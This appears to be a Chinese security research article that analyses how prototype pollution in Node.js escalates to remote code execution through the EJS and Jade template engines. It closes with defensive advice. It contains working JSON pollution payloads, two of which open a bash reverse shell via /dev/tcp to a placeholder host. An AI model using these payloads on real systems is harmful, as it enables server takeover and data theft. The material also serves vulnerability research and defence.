再探 JavaScript 原型链污染到 RCE
字数 1596 2025-08-25 22:58:55
JavaScript 原型链污染到 RCE 利用分析
1. 背景介绍
本文详细分析如何通过 JavaScript 原型链污染漏洞实现远程代码执行(RCE),主要针对 Node.js 环境下的模板引擎(特别是 EJS 和 Jade)进行利用链挖掘。
2. 原型链污染基础
原型链污染是指通过修改对象的 __proto__ 属性或构造函数原型(prototype)来影响所有继承自该原型的对象。在 Node.js 中,这可能导致严重的安全问题。
2.1 基本概念
- JavaScript 中几乎所有对象都继承自
Object.prototype - 通过修改原型属性可以影响所有继承对象
- 常见污染方式:
obj.__proto__.polluted = true或Object.prototype.polluted = true
3. EJS 模板引擎 RCE 利用
3.1 利用条件
- 存在原型链污染漏洞
- 使用 EJS 作为模板引擎
3.2 利用方式
通过污染 outputFunctionName 属性实现 RCE:
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"
}
}
3.3 原理分析
- EJS 在编译模板时会使用
outputFunctionName值作为函数名 - 通过分号可以插入任意 JavaScript 代码
- 利用 Node.js 的
child_process模块执行系统命令
4. Jade 模板引擎利用链挖掘
4.1 环境搭建
yarn add express jade
node app.js
4.2 调用栈分析
app.js :: res.renderjade/lib/index.js :: exports.__expressjade/lib/index.js :: exports.renderFilejade/lib/index.js :: handleTemplateCachejade/lib/index.js :: exports.compilejade/lib/index.js :: parse -> compiler.compile()jade/lib/compiler.js :: Compiler.compile -> this.visit(this.node)jade/lib/compiler.js :: this.visitjade/lib/compiler.js :: this.buf.pushjade/lib/index.js :: parse -> options.selfjade/lib/index.js :: fn = new Function('locals, jade', fn)jade/lib/index.js :: fn(locals, Object.create(runtime))
4.3 关键利用点
4.3.1 开启 Debug 模式
覆盖 compileDebug 属性:
{
"__proto__": {
"compileDebug": 1
}
}
4.3.2 绕过异常
覆盖 self 属性避免进入 addWith 分支:
{
"__proto__": {
"compileDebug": 1,
"self": 1
}
}
4.3.3 代码注入点
分析 Compiler.visit 方法:
visit: function(node) {
var debug = this.debug;
if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem(' +
node.line + ', ' +
(node.filename ? utils.stringify(node.filename) : 'jade_debug[0].filename') +
'));');
}
// ...
}
4.3.4 最终利用
覆盖 line 属性实现 RCE:
{
"__proto__": {
"compileDebug": 1,
"self": 1,
"line": "console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"'))"
}
}
5. 防御措施
5.1 防止原型链污染
- 使用
Object.freeze(Object.prototype) - 避免使用
__proto__或直接修改原型 - 使用
Object.create(null)创建无原型对象
5.2 模板引擎安全
- 及时更新模板引擎版本
- 禁用危险选项(如
compileDebug) - 对用户输入进行严格过滤
6. 总结
本文详细分析了如何通过原型链污染漏洞在 Node.js 环境下实现 RCE,重点研究了 EJS 和 Jade 模板引擎的利用方式。虽然这些利用需要先存在原型链污染漏洞,但一旦存在,危害极大。开发者应重视原型链安全问题,采取适当防御措施。